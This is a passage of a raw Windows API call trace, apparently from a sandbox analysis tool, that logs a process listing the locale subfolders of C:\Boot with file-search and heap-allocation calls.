hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.549] GetProcessHeap () returned 0xaf0000 [0275.549] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-MX\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0275.549] GetProcessHeap () returned 0xaf0000 [0275.549] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.549] GetProcessHeap () returned 0xaf0000 [0275.549] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\et-EE\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0275.550] GetProcessHeap () returned 0xaf0000 [0275.550] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.550] GetProcessHeap () returned 0xaf0000 [0275.550] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.550] GetProcessHeap () returned 0xaf0000 [0275.550] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.550] GetProcessHeap () returned 0xaf0000 [0275.550] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.554] GetProcessHeap () returned 0xaf0000 [0275.554] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.554] GetProcessHeap () returned 0xaf0000 [0275.554] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-CA\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.554] GetProcessHeap () returned 0xaf0000 [0275.554] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.554] GetProcessHeap () returned 0xaf0000 [0275.554] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.555] GetProcessHeap () returned 0xaf0000 [0275.555] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.555] GetProcessHeap () returned 0xaf0000 [0275.555] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hr-HR\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.555] GetProcessHeap () returned 0xaf0000 [0275.555] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.555] GetProcessHeap () returned 0xaf0000 [0275.556] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.556] GetProcessHeap () returned 0xaf0000 [0275.556] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.556] GetProcessHeap () returned 0xaf0000 [0275.556] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.556] GetProcessHeap () returned 0xaf0000 [0275.556] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.556] GetProcessHeap () returned 0xaf0000 [0275.557] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0275.557] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.557] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.557] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.557] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.557] FindClose (in: hFindFile=0xb03108 | out: hFindFile=0xb03108) returned 1 [0275.557] GetProcessHeap () returned 0xaf0000 [0275.557] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.558] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0275.558] GetProcessHeap () returned 0xaf0000 [0275.558] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.801] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.802] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.802] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.802] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.802] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.802] GetProcessHeap () returned 0xaf0000 [0275.802] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.803] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0275.803] GetProcessHeap () returned 0xaf0000 [0275.803] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lt-LT\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.804] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.804] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.804] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.804] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.804] GetProcessHeap () returned 0xaf0000 [0275.804] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.804] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0275.804] GetProcessHeap () returned 0xaf0000 [0275.804] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lv-LV\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.805] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.805] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.805] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.805] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.805] GetProcessHeap () returned 0xaf0000 [0275.805] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.805] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0275.805] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0275.805] GetProcessHeap () returned 0xaf0000 [0275.805] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.805] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.806] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.806] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.806] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.806] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.806] GetProcessHeap () returned 0xaf0000 [0275.806] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.806] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, 